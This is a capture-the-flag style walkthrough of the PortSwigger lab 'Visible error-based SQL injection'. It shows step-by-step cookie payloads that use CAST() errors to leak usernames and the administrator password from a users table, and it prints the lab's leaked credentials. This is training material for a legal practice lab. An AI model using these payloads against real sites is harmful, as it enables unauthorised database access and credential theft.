Visible error-based SQL injection
Visible error-based SQL injection
Platform: PortSwigger | Category: SQL_injection | Type: Lab | Difficulty: N/A | OS: N/A | Author: XESXOR | Date: 2026-08-24 | Status: Solved Techniques: Web Security Academy, SQL_injection
Summary
Walkthrough of the PortSwigger Web Security Academy lab Visible error-based SQL injection (SQL_injection). This lab demonstrates a sql_injection vulnerability and its exploitation to achieve the lab objectives.
Lab Overview
PortSwigger Web Security Academy — SQL_injection
This writeup is part of the XESXOR PortSwigger collection. The original lab description and solution have been preserved and reformatted for clarity.
Lab Description -
Overview -
Misconfiguration of the database sometimes results in verbose error messages. These can provide information that may be useful to an attacker. For example, consider the following error message, which occurs after injecting a single quote into an id parameter:
sql read-only • copy allowedUnterminated string literal started at position 52 in SQL SELECT * FROM tracking WHERE id = '''. Expected char
We can induce the application to generate an error message that contains some of the data that is returned by the query. This effectively turns an otherwise blind SQL injection vulnerability into a "visible" one.
One way of achieving this is to use the CAST() function, which enables you to convert one data type to another. For example, consider a query containing the following statement:
Resquest payload
sql read-only • copy allowedCAST((SELECT example_column FROM example_table) AS int)
Often, the data that you're trying to read is a string. Attempting to convert this to an incompatible data type, such as an int, may cause an error similar to the following:
Response
sql read-only • copy allowedERROR: invalid input syntax for type integer: "Example data"
NOTE - This type of query may also be useful in cases where you're unable to trigger conditional responses because of a character limit imposed on the query.
Solution -
When clicking on any catgory in products filter, browser sends a GET request with a tracking cookie & a session cookie.
Let's try to input a special character ' in the TrackingID parameter since it is vulnerable as per lab description to try and induce an SQL error.
sql read-only • copy allowedCookie: TrackingId=e00R0OKbtGq3H944';
Response
Now we induced an error in the application and so we got an error response back which leaked the query being made in the backend.
sql read-only • copy allowedSELECT * FROM tracking WHERE id = 'e00R0OKbtGq3H944''
Since we know what query is being made, now we can craft our payload using CAST conditional expresiions.
First we give a generic SELECT query & CAST the returned value to int datatype.
sql read-only • copy allowedTrackingId=hxcQNYCw0qIfVGRe' AND CAST((SELECT 1) AS int)--
The subquery (SELECT 1) is selecting the value 1 from the database. The CAST function is then used to convert that value into an integer data type (AS int).
Response
We get a 500 Internal Server error with the following error response.
It says that AND condition must be a boolean expression.
So we modify the injection payload with a comparison operator so that it returns boolean data.
sql read-only • copy allowedTrackingId=hxcQNYCw0qIfVGRe' AND 1=CAST((SELECT 1) AS int)--
Now we get a different response ie. The condition got TRUE and it returned all the category items with a 200 OK status code.
Now modify the SELECT query to retreive username from the database.
sql read-only • copy allowed' AND 1=CAST((SELECT username FROM users) AS int)--
Response
We get a 500 Internal Server error with the follwoing error response back.
sql read-only • copy allowedSELECT * FROM tracking WHERE id = 'hxcQNYCw0qIfVGRe' AND 1=CAST((SELECT username FROM users) AS'. Expected char
THe query is being truncated here. So lets either remove some or all of trackingID cookie value to free up some space.
sql read-only • copy allowedTrackingId=' AND 1=CAST((SELECT username FROM users) AS int)--;
Response
Modify the query to return only 1 row,
sql read-only • copy allowedTrackingId=' AND 1=CAST((SELECT username FROM users LIMIT 1) AS int)--
It tries to retrieve the username column from the users table using the subquery (SELECT username FROM users LIMIT 1). The LIMIT 1 clause ensures that only one row(first row) is returned.
The obtained username is then cast as an integer using the CAST function.(WHY ? - To retrieve the obtained info via the error responses)
EG - It may produce error like User shebu is not an integer
Response
Now that we know that administrator is the first user in the users table , let's retreive his password.
sql read-only • copy allowedTrackingId=' AND 1=CAST((SELECT password FROM users LIMIT 1) AS int)--
Here in this payload we didn't giove WHERE username="administrator" because LIMIT 1 ensures that it retreives the info of first column which in this case is the administrator.
Thus we got the password of the admin user via error response.
Admin Credentials - administrator:92xxhtubhmgxhsyhhldk
Now login as admin in the shopping website to solve the lab.
Key Takeaways / Lessons
- Understanding SQL_injection detection and exploitation is crucial for web security.
- Always validate and sanitize user input; implement proper access controls.
- This lab is part of the PortSwigger Web Security Academy — practice in a safe, legal environment.
Crafted by XESXOR Research • 2026-08-24 • PortSwigger Web Security Academy • Lab: Visible error-based SQL injection